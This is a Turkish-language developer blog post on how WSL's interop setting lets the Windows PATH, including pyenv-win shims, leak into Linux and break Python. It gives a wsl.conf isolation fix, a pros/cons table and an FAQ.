&lt;h2 id="wsl-interop-sessiz-katil"&gt;WSL Interop: Sessiz Katil&lt;a class="headerlink" href="#wsl-interop-sessiz-katil" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;Burada biraz teknikle&amp;scedil;mem laz&amp;inodot;m ama s&amp;inodot;k&amp;inodot;lmay&amp;inodot;n, anlataca&amp;gbreve;&amp;inodot;m. WSL'in Windows ile bir "interop" mekanizmas&amp;inodot; var. Bu mekanizma sayesinde WSL i&amp;ccedil;inden Windows uygulamalar&amp;inodot;n&amp;inodot; &amp;ccedil;al&amp;inodot;&amp;scedil;t&amp;inodot;rabiliyorsun &amp;mdash; mesela &lt;code&gt;explorer.exe .&lt;/code&gt; yaz&amp;inodot;nca dosya y&amp;ouml;neticisi a&amp;ccedil;&amp;inodot;l&amp;inodot;yor, &lt;code&gt;notepad.exe&lt;/code&gt; ile Not Defteri a&amp;ccedil;&amp;inodot;l&amp;inodot;yor. G&amp;uuml;zel &amp;ouml;zellik. Ama bir sorun var. Bu interop mekanizmas&amp;inodot;, Windows PATH'ini de sessizce WSL'in i&amp;ccedil;ine al&amp;inodot;yor. Yani Windows'ta kurulu olan her &amp;scedil;ey &amp;mdash; Python, Node.js, Java, ne varsa &amp;mdash; WSL'in PATH'ine s&amp;inodot;z&amp;inodot;yor. Bak&amp;inodot;n Microsoft'un kendi dok&amp;uuml;mantasyonunda ne diyor: &lt;a href="https://learn.microsoft.com/en-us/windows/wsl/wsl-config#global-configuration-options-with-wslconfig" rel="noopener noreferrer" target="_blank"&gt;WSL Global Configuration Options&lt;/a&gt; Orada &lt;code&gt;appendWindowsPath&lt;/code&gt; diye bir ayar var. Varsay&amp;inodot;lan olarak &lt;code&gt;true&lt;/code&gt;. Yani Windows PATH'i otomatik olarak ekleniyor. &amp;Idot;nsan okuyunca "tamam ya bu opsiyonel, elleme" diyor. Sonra bir bak&amp;inodot;yorsun sistem yar&amp;inodot; Windows yar&amp;inodot; Linux olmu&amp;scedil;. Ne g&amp;uuml;zel hybrid di mi? Hay&amp;inodot;r. De&amp;gbreve;il.&lt;/p&gt;
&lt;hr/&gt;
&lt;h2 id="benim-deneyimim-debug-gunlugu"&gt;Benim Deneyimim: Debug G&amp;uuml;nl&amp;uuml;&amp;gbreve;&amp;uuml;&lt;a class="headerlink" href="#benim-deneyimim-debug-gunlugu" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;&amp;Idot;lk olarak &lt;code&gt;.zshrc&lt;/code&gt;'yi kurcalad&amp;inodot;m. PATH sat&amp;inodot;rlar&amp;inodot;n&amp;inodot; tek tek inceledim. Temiz &amp;ccedil;&amp;inodot;kt&amp;inodot;. &lt;code&gt;.profile&lt;/code&gt;'a bakt&amp;inodot;m. O da temiz. &lt;code&gt;printenv | grep -i pyenv&lt;/code&gt; &amp;ccedil;al&amp;inodot;&amp;scedil;t&amp;inodot;rd&amp;inodot;m. &amp;Ccedil;&amp;inodot;kt&amp;inodot;:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="nv"&gt;PATH&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;...:/mnt/c/Users/baba/.pyenv/pyenv-win/bin:...
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;&amp;Idot;&amp;scedil;te orada g&amp;ouml;rd&amp;uuml;m. Linux taraf&amp;inodot;nda pyenv kurulu de&amp;gbreve;il ama Windows'taki pyenv-win, WSL'in PATH'ine s&amp;inodot;z&amp;inodot;nt&amp;inodot; yapm&amp;inodot;&amp;scedil;. Bu arada, pyenv-win'in nas&amp;inodot;l &amp;ccedil;al&amp;inodot;&amp;scedil;t&amp;inodot;&amp;gbreve;&amp;inodot;n&amp;inodot; bilmiyorsan&amp;inodot;z k&amp;inodot;saca anlatay&amp;inodot;m: Windows'ta Python s&amp;uuml;r&amp;uuml;mlerini y&amp;ouml;neten bir ara&amp;ccedil;. Kendi &lt;code&gt;shims&lt;/code&gt; klas&amp;ouml;r&amp;uuml;nde sahte python &amp;ccedil;al&amp;inodot;&amp;scedil;t&amp;inodot;r&amp;inodot;c&amp;inodot;lar&amp;inodot; olu&amp;scedil;turuyor. WSL bu shims'leri g&amp;ouml;r&amp;uuml;nce "ha tamam, python burada" diyor ama o shims Windows i&amp;ccedil;in yaz&amp;inodot;lm&amp;inodot;&amp;scedil;. Sonra da &lt;code&gt;bad interpreter: /bin/sh^M&lt;/code&gt; hatas&amp;inodot;. &lt;code&gt;^M&lt;/code&gt; g&amp;ouml;rd&amp;uuml;n&amp;uuml;z m&amp;uuml;? Bu Windows sat&amp;inodot;r sonu karakteri (&lt;code&gt;\r\n&lt;/code&gt;). Linux'ta &lt;code&gt;\n&lt;/code&gt; olmas&amp;inodot; gerekiyor. Yani WLindows'tan gelen dosya, Linux taraf&amp;inodot;ndan okunam&amp;inodot;yor.&lt;/p&gt;
&lt;hr/&gt;
&lt;h2 id="interop-nasl-calsyor-teknik-detay"&gt;&amp;Idot;nterop Nas&amp;inodot;l &amp;Ccedil;al&amp;inodot;&amp;scedil;&amp;inodot;yor? (Teknik Detay)&lt;a class="headerlink" href="#interop-nasl-calsyor-teknik-detay" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;Biraz daha derine ineyim. WSL a&amp;ccedil;&amp;inodot;ld&amp;inodot;&amp;gbreve;&amp;inodot;nda &amp;scedil;u s&amp;inodot;rayla &amp;ccedil;al&amp;inodot;&amp;scedil;&amp;inodot;yor:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Linux kernel y&amp;uuml;kleniyor&lt;/li&gt;
&lt;li&gt;init s&amp;uuml;reci ba&amp;scedil;l&amp;inodot;yor&lt;/li&gt;
&lt;li&gt;&lt;code&gt;/etc/wsl.conf&lt;/code&gt; ve &lt;code&gt;%UserProfile%\.wslconfig&lt;/code&gt; okunuyor&lt;/li&gt;
&lt;li&gt;E&amp;gbreve;er &lt;code&gt;enabled=true&lt;/code&gt; ise, Windows'tan bilgi &amp;ccedil;ekiliyor&lt;/li&gt;
&lt;li&gt;E&amp;gbreve;er &lt;code&gt;appendWindowsPath=true&lt;/code&gt; ise, Windows PATH'i Linux PATH'ine ekleniyor&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;Bu s&amp;uuml;re&amp;ccedil;te Windows taraf&amp;inodot;ndaki &lt;code&gt;pyenv-win&lt;/code&gt; klas&amp;ouml;r&amp;uuml; de PATH'e d&amp;uuml;&amp;scedil;&amp;uuml;yor. Ve Linux'taki bash, o klas&amp;ouml;rdeki shims dosyalar&amp;inodot;n&amp;inodot; &amp;ccedil;al&amp;inodot;&amp;scedil;t&amp;inodot;rmaya &amp;ccedil;al&amp;inodot;&amp;scedil;&amp;inodot;yor. Sonu&amp;ccedil;: &lt;code&gt;bad interpreter&lt;/code&gt; hatas&amp;inodot;. &lt;a href="https://stackoverflow.com/questions/75883177/installing-pyenv-win-on-top-of-working-wsl2-ubuntu-instance-breaks-ubuntu-pyenv" rel="noopener noreferrer" target="_blank"&gt;StackOverflow'da ayn&amp;inodot; hatay&amp;inodot; ya&amp;scedil;ayan insanlar&lt;/a&gt; var. Orada da herkes ayn&amp;inodot; &amp;scedil;eyi s&amp;ouml;yl&amp;uuml;yor: "Windows pyenv kuruyor, WSL'e s&amp;inodot;z&amp;inodot;yor, Python k&amp;inodot;r&amp;inodot;l&amp;inodot;yor."&lt;/p&gt;
&lt;hr/&gt;
&lt;h2 id="cozum-adm-adm-izolasyon"&gt;&amp;Ccedil;&amp;ouml;z&amp;uuml;m: Ad&amp;inodot;m Ad&amp;inodot;m &amp;Idot;zolasyon&lt;a class="headerlink" href="#cozum-adm-adm-izolasyon" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;En basit ama en sert &amp;ccedil;&amp;ouml;z&amp;uuml;m&amp;uuml; uygulad&amp;inodot;m. WSL'i Windows'tan tamamen izole ettim.&lt;/p&gt;
&lt;h3 id="adm-1-wslconf-dosyasn-bul-veya-olustur"&gt;Ad&amp;inodot;m 1: wsl.conf Dosyas&amp;inodot;n&amp;inodot; Bul veya Olu&amp;scedil;tur&lt;a class="headerlink" href="#adm-1-wslconf-dosyasn-bul-veya-olustur" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h3&gt;
&lt;p&gt;WSL i&amp;ccedil;inde terminal a&amp;ccedil;&amp;inodot;n:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;sudo&lt;span class="w"&gt; &lt;/span&gt;nano&lt;span class="w"&gt; &lt;/span&gt;/etc/wsl.conf
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Dosya yoksa sorun de&amp;gbreve;il, nano zaten olu&amp;scedil;turacak.&lt;/p&gt;
&lt;h3 id="adm-2-interop-ayarlarn-degistir"&gt;Ad&amp;inodot;m 2: &amp;Idot;nterop Ayarlar&amp;inodot;n&amp;inodot; De&amp;gbreve;i&amp;scedil;tir&lt;a class="headerlink" href="#adm-2-interop-ayarlarn-degistir" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h3&gt;
&lt;p&gt;Dosyan&amp;inodot;n i&amp;ccedil;ine &amp;scedil;unu yaz&amp;inodot;n:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="k"&gt;[interop]&lt;/span&gt;
&lt;span class="na"&gt;enabled&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s"&gt;false&lt;/span&gt;
&lt;span class="na"&gt;appendWindowsPath&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s"&gt;false&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Bu iki sat&amp;inodot;r ne yap&amp;inodot;yor?&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;enabled=false&lt;/code&gt;: Windows uygulamalar&amp;inodot;n&amp;inodot; WSL i&amp;ccedil;inden &amp;ccedil;al&amp;inodot;&amp;scedil;t&amp;inodot;rmay&amp;inodot; kapat&amp;inodot;yor&lt;/li&gt;
&lt;li&gt;&lt;code&gt;appendWindowsPath=false&lt;/code&gt;: Windows PATH'inin WSL'e s&amp;inodot;zmas&amp;inodot;n&amp;inodot; engelliyor&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Kaydedin: &lt;code&gt;Ctrl+X&lt;/code&gt;, sonra &lt;code&gt;Y&lt;/code&gt;, sonra &lt;code&gt;Enter&lt;/code&gt;.&lt;/p&gt;
&lt;h3 id="adm-3-wsli-yeniden-baslat"&gt;Ad&amp;inodot;m 3: WSL'i Yeniden Ba&amp;scedil;lat&lt;a class="headerlink" href="#adm-3-wsli-yeniden-baslat" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h3&gt;
&lt;p&gt;Terminal'den &amp;ccedil;&amp;inodot;k&amp;inodot;n ve PowerShell'de:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="n"&gt;wsl&lt;/span&gt; &lt;span class="p"&gt;-&lt;/span&gt;&lt;span class="n"&gt;-shutdown&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Sonra tekrar WSL'i a&amp;ccedil;&amp;inodot;n. Bu komut olmadan de&amp;gbreve;i&amp;scedil;iklikler ge&amp;ccedil;erli olmaz.&lt;/p&gt;
&lt;h3 id="adm-4-dogrulama"&gt;Ad&amp;inodot;m 4: Do&amp;gbreve;rulama&lt;a class="headerlink" href="#adm-4-dogrulama" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h3&gt;
&lt;p&gt;WSL'e tekrar girin ve kontrol edin:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="nb"&gt;echo&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;$PATH&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Art&amp;inodot;k &lt;code&gt;/mnt/c/...&lt;/code&gt; ile ba&amp;scedil;layan Windows PATH'lerini g&amp;ouml;rm&amp;uuml;yor olman&amp;inodot;z laz&amp;inodot;m.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;python&lt;span class="w"&gt; &lt;/span&gt;--version
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;E&amp;gbreve;er python bulam&amp;inodot;yorsa &amp;mdash; bu normal. Linux taraf&amp;inodot;nda python kurman&amp;inodot;z gerekiyor. Ama en az&amp;inodot;ndan art&amp;inodot;k Windows'tan s&amp;inodot;zan bozuk python yok.&lt;/p&gt;
&lt;hr/&gt;
&lt;h2 id="karslastrma-interop-ack-m-kapal-m_1"&gt;Kar&amp;scedil;&amp;inodot;la&amp;scedil;t&amp;inodot;rma: &amp;Idot;nterop A&amp;ccedil;&amp;inodot;k m&amp;inodot; Kapal&amp;inodot; m&amp;inodot;?&lt;a class="headerlink" href="#karslastrma-interop-ack-m-kapal-m" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;Bunu yapmadan &amp;ouml;nce bir d&amp;uuml;&amp;scedil;&amp;uuml;n&amp;uuml;n. &amp;Idot;nterop'u kapatman&amp;inodot;n avantajlar&amp;inodot; ve dezavantajlar&amp;inodot; var:&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;&lt;/th&gt;
&lt;th&gt;&amp;Idot;nterop A&amp;ccedil;&amp;inodot;k&lt;/th&gt;
&lt;th&gt;&amp;Idot;nterop Kapal&amp;inodot;&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Windows uygulamalar&amp;inodot;&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;WSL'den &amp;ccedil;al&amp;inodot;&amp;scedil;&amp;inodot;r&lt;/td&gt;
&lt;td&gt;&amp;Ccedil;al&amp;inodot;&amp;scedil;maz&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;PATH g&amp;uuml;venli&amp;gbreve;i&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Riskli &amp;mdash; Windows s&amp;inodot;zabilir&lt;/td&gt;
&lt;td&gt;G&amp;uuml;venli &amp;mdash; tam izolasyon&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Performans&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Hafif yava&amp;scedil; (Windows PATH taramas&amp;inodot;)&lt;/td&gt;
&lt;td&gt;Daha h&amp;inodot;zl&amp;inodot;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Dosya eri&amp;scedil;imi&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;/mnt/c/&lt;/code&gt; &amp;ccedil;al&amp;inodot;&amp;scedil;&amp;inodot;r&lt;/td&gt;
&lt;td&gt;&lt;code&gt;/mnt/c/&lt;/code&gt; h&amp;acirc;l&amp;acirc; &amp;ccedil;al&amp;inodot;&amp;scedil;&amp;inodot;r&lt;sup id="fnref:1"&gt;&lt;a class="footnote-ref" href="#fn:1"&gt;1&lt;/a&gt;&lt;/sup&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;VS Code entegrasyonu&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;code .&lt;/code&gt; &amp;ccedil;al&amp;inodot;&amp;scedil;&amp;inodot;r&lt;/td&gt;
&lt;td&gt;Elle ba&amp;gbreve;laman&amp;inodot;z gerekir&lt;sup id="fnref:2"&gt;&lt;a class="footnote-ref" href="#fn:2"&gt;2&lt;/a&gt;&lt;/sup&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Python/Node g&amp;uuml;venli&amp;gbreve;i&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Kar&amp;inodot;&amp;scedil;abilir&lt;/td&gt;
&lt;td&gt;Tamamen Linux kontrol&amp;uuml;nde&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;hr/&gt;
&lt;h2 id="yan-etkiler-kucuk-ama-onemli"&gt;Yan Etkiler (K&amp;uuml;&amp;ccedil;&amp;uuml;k Ama &amp;Ouml;nemli)&lt;a class="headerlink" href="#yan-etkiler-kucuk-ama-onemli" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;Bunu yap&amp;inodot;nca &amp;scedil;unu fark ettim: WSL art&amp;inodot;k "Windows + Linux hibrit ortam" de&amp;gbreve;il, direkt k&amp;uuml;&amp;ccedil;&amp;uuml;k bir Linux VM gibi davran&amp;inodot;yor.Ve a&amp;ccedil;&amp;inodot;k s&amp;ouml;yleyeyim&amp;hellip; ben bunu daha &amp;ccedil;ok sevdim. Ama baz&amp;inodot; &amp;scedil;eyler de&amp;gbreve;i&amp;scedil;ti:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;explorer.exe .&lt;/code&gt; &amp;ccedil;al&amp;inodot;&amp;scedil;m&amp;inodot;yor art&amp;inodot;k. Yerine &lt;code&gt;wslview .&lt;/code&gt; kullanabilirsiniz (wslu paketi gerekli).&lt;/li&gt;
&lt;li&gt;Windows'taki &lt;code&gt;.exe&lt;/code&gt; dosyalar&amp;inodot;n&amp;inodot; &amp;ccedil;a&amp;gbreve;&amp;inodot;ram&amp;inodot;yorsunuz. Ama zaten neden &amp;ccedil;a&amp;gbreve;&amp;inodot;ras&amp;inodot;n&amp;inodot;z ki?&lt;/li&gt;
&lt;li&gt;Docker Desktop WSL backend'i etkilenebilir. E&amp;gbreve;er Docker kullan&amp;inodot;yorsan&amp;inodot;z, bu ayar&amp;inodot; yapmadan &amp;ouml;nce Docker'&amp;inodot;n WSL ile nas&amp;inodot;l &amp;ccedil;al&amp;inodot;&amp;scedil;t&amp;inodot;&amp;gbreve;&amp;inodot;n&amp;inodot; ara&amp;scedil;t&amp;inodot;r&amp;inodot;n.&lt;/li&gt;
&lt;/ul&gt;
&lt;hr/&gt;
&lt;h2 id="sk-karslaslan-sorunlar"&gt;S&amp;inodot;k Kar&amp;scedil;&amp;inodot;la&amp;scedil;&amp;inodot;lan Sorunlar&lt;a class="headerlink" href="#sk-karslaslan-sorunlar" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;h3 id="appendwindowspathfalse-yapnca-vs-code-calsmyor"&gt;"appendWindowsPath=false yap&amp;inodot;nca VS Code &amp;ccedil;al&amp;inodot;&amp;scedil;m&amp;inodot;yor"&lt;a class="headerlink" href="#appendwindowspathfalse-yapnca-vs-code-calsmyor" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h3&gt;
&lt;p&gt;VS Code'un WSL eklentisi (Remote - WSL) zaten WSL'e SSH &amp;uuml;zerinden ba&amp;gbreve;lan&amp;inodot;yor. &amp;Idot;nterop kapal&amp;inodot; olsa bile &amp;ccedil;al&amp;inodot;&amp;scedil;&amp;inodot;r. Sadece &lt;code&gt;code .&lt;/code&gt; komutu &amp;ccedil;al&amp;inodot;&amp;scedil;maz. &amp;Ccedil;&amp;ouml;z&amp;uuml;m: VS Code'u Windows'tan a&amp;ccedil;&amp;inodot;p, sol alttaki "&amp;gt;&amp;lt;" ikonuna t&amp;inodot;klay&amp;inodot;p "Connect to WSL" se&amp;ccedil;in.&lt;/p&gt;
&lt;h3 id="wsl-shutdown-gerekiyor-mu"&gt;"wsl --shutdown gerekiyor mu?"&lt;a class="headerlink" href="#wsl-shutdown-gerekiyor-mu" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h3&gt;
&lt;p&gt;Evet. &lt;code&gt;wsl.conf&lt;/code&gt; de&amp;gbreve;i&amp;scedil;iklikleri sadece WSL yeniden ba&amp;scedil;lat&amp;inodot;ld&amp;inodot;&amp;gbreve;&amp;inodot;nda ge&amp;ccedil;erli oluyor. &lt;code&gt;wsl --shutdown&lt;/code&gt; t&amp;uuml;m WSL实例lar&amp;inodot;n&amp;inodot; kapat&amp;inodot;yor. Sonra tekrar &lt;code&gt;wsl&lt;/code&gt; yaz&amp;inodot;nca yeni ayarlarla a&amp;ccedil;&amp;inodot;l&amp;inodot;yor.&lt;/p&gt;
&lt;h3 id="farkl-dagtmlarda-ayn-sey-gecerli-mi"&gt;"Farkl&amp;inodot; da&amp;gbreve;&amp;inodot;t&amp;inodot;mlarda ayn&amp;inodot; &amp;scedil;ey ge&amp;ccedil;erli mi?"&lt;a class="headerlink" href="#farkl-dagtmlarda-ayn-sey-gecerli-mi" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h3&gt;
&lt;p&gt;Evet. Ubuntu, Debian, Fedora, Arch &amp;mdash; hangi WSL da&amp;gbreve;&amp;inodot;t&amp;inodot;m&amp;inodot;n&amp;inodot; kullan&amp;inodot;rsan&amp;inodot;z kullan&amp;inodot;n, &lt;code&gt;/etc/wsl.conf&lt;/code&gt; ayn&amp;inodot; &amp;scedil;ekilde &amp;ccedil;al&amp;inodot;&amp;scedil;&amp;inodot;r. Ama her da&amp;gbreve;&amp;inodot;t&amp;inodot;m i&amp;ccedil;in ayr&amp;inodot; ayr&amp;inodot; d&amp;uuml;zenlemeniz gerekebilir.&lt;/p&gt;
&lt;h3 id="docker-desktop-etkilenir-mi"&gt;"Docker Desktop etkilenir mi?"&lt;a class="headerlink" href="#docker-desktop-etkilenir-mi" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h3&gt;
&lt;p&gt;E&amp;gbreve;er Docker Desktop'&amp;inodot; WSL backend ile kullan&amp;inodot;yorsan&amp;inodot;z, evet etkilenebilir. Docker'&amp;inodot;n kendi WSL instance'&amp;inodot; var (&lt;code&gt;docker-desktop&lt;/code&gt;). Onun &lt;code&gt;/etc/wsl.conf&lt;/code&gt;'unu ayr&amp;inodot; d&amp;uuml;zenlemeniz gerekebilir. Ya da sadece development WSL instance'&amp;inodot;n&amp;inodot;z&amp;inodot; izole edin, Docker'&amp;inodot; dokunmay&amp;inodot;n.&lt;/p&gt;
&lt;h3 id="pythonu-nasl-kurarm-simdi"&gt;"Python'u nas&amp;inodot;l kurar&amp;inodot;m &amp;scedil;imdi?"&lt;a class="headerlink" href="#pythonu-nasl-kurarm-simdi" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h3&gt;
&lt;p&gt;WSL i&amp;ccedil;inde:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;sudo&lt;span class="w"&gt; &lt;/span&gt;apt&lt;span class="w"&gt; &lt;/span&gt;update&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;sudo&lt;span class="w"&gt; &lt;/span&gt;apt&lt;span class="w"&gt; &lt;/span&gt;install&lt;span class="w"&gt; &lt;/span&gt;python3&lt;span class="w"&gt; &lt;/span&gt;python3-pip
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;E&amp;gbreve;er &amp;ccedil;oklu Python s&amp;uuml;r&amp;uuml;m&amp;uuml; istiyorsan&amp;inodot;z, &lt;a href="/linux-gpu-driver-rehberi/" rel="noopener noreferrer" target="_blank"&gt;Linux GPU s&amp;uuml;r&amp;uuml;c&amp;uuml; rehberimde&lt;/a&gt; anlatt&amp;inodot;&amp;gbreve;&amp;inodot;m gibi sistem paketleriyle de&amp;gbreve;il, pyenv'in Linux versiyonuyla kurun. Ama bu sefer sadece Linux pyenv'i &amp;ccedil;al&amp;inodot;&amp;scedil;acak, Windows'tan s&amp;inodot;zan shims olmayacak.&lt;/p&gt;
&lt;hr/&gt;
&lt;h2 id="neden-sadece-appendwindowspathfalse-yetmez_1"&gt;Neden Sadece "appendWindowsPath=false" Yetmez?&lt;a class="headerlink" href="#neden-sadece-appendwindowspathfalse-yetmez" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;&amp;Scedil;imdi diyeceksiniz ki "tamam da sadece PATH'i engellesen olmaz m&amp;inodot;?" Olmaz. &amp;Ccedil;&amp;uuml;nk&amp;uuml; interop a&amp;ccedil;&amp;inodot;kken Windows'tan gelen baz&amp;inodot; &amp;scedil;eyler h&amp;acirc;l&amp;acirc; sorun &amp;ccedil;&amp;inodot;karabiliyor. Mesela:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Windows'taki &lt;code&gt;.bat&lt;/code&gt; ve &lt;code&gt;.cmd&lt;/code&gt; dosyalar&amp;inodot; WSL'den &amp;ccedil;a&amp;gbreve;r&amp;inodot;labiliyor&lt;/li&gt;
&lt;li&gt;Windows ortam de&amp;gbreve;i&amp;scedil;kenleri (&lt;code&gt;%APPDATA%&lt;/code&gt; gibi) WSL'e s&amp;inodot;zabiliyor&lt;/li&gt;
&lt;li&gt;Baz&amp;inodot; ara&amp;ccedil;lar (&amp;ouml;zellikle Java, .NET) Windows'tan gelen yollar&amp;inodot; kullanmaya &amp;ccedil;al&amp;inodot;&amp;scedil;&amp;inodot;yor&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Ben tam izolasyonu tercih ettim. Siz isterseniz sadece &lt;code&gt;appendWindowsPath=false&lt;/code&gt; yaparak daha hafif bir &amp;ccedil;&amp;ouml;z&amp;uuml;m deneyebilirsiniz. Ama benim tecr&amp;uuml;bem, yar&amp;inodot;m &amp;ccedil;&amp;ouml;z&amp;uuml;mlerin sonradan ba&amp;scedil; a&amp;gbreve;r&amp;inodot;t&amp;inodot;yor olmas&amp;inodot;.&lt;/p&gt;
&lt;hr/&gt;
&lt;h2 id="alternatif-cozum-sadece-belirli-pathleri-kaldrmak"&gt;Alternatif &amp;Ccedil;&amp;ouml;z&amp;uuml;m: Sadece Belirli PATH'leri Kald&amp;inodot;rmak&lt;a class="headerlink" href="#alternatif-cozum-sadece-belirli-pathleri-kaldrmak" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;E&amp;gbreve;er interop'u tamamen kapatmak istemiyorsan&amp;inodot;z, sadece sorunlu PATH'leri kald&amp;inodot;rabilirsiniz:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="c1"&gt;# WSL a&amp;ccedil;&amp;inodot;ld&amp;inodot;&amp;gbreve;&amp;inodot;nda otomatik &amp;ccedil;al&amp;inodot;&amp;scedil;mas&amp;inodot; i&amp;ccedil;in .zshrc veya .bashrc'ye ekleyin:&lt;/span&gt;
&lt;span class="nb"&gt;export&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;PATH&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="k"&gt;$(&lt;/span&gt;&lt;span class="nb"&gt;echo&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$PATH&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;|&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;tr&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s1"&gt;':'&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s1"&gt;'\n'&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;|&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;grep&lt;span class="w"&gt; &lt;/span&gt;-v&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s1"&gt;'/mnt/c'&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;|&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;tr&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s1"&gt;'\n'&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s1"&gt;':'&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;|&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;sed&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s1"&gt;'s/:$//'&lt;/span&gt;&lt;span class="k"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Bu komut PATH'ten t&amp;uuml;m &lt;code&gt;/mnt/c/...&lt;/code&gt; yollar&amp;inodot;n&amp;inodot; kald&amp;inodot;r&amp;inodot;yor. Ama bu ge&amp;ccedil;ici bir &amp;ccedil;&amp;ouml;z&amp;uuml;m &amp;mdash; her WSL oturumunda &amp;ccedil;al&amp;inodot;&amp;scedil;t&amp;inodot;rman&amp;inodot;z gerekiyor.&lt;/p&gt;
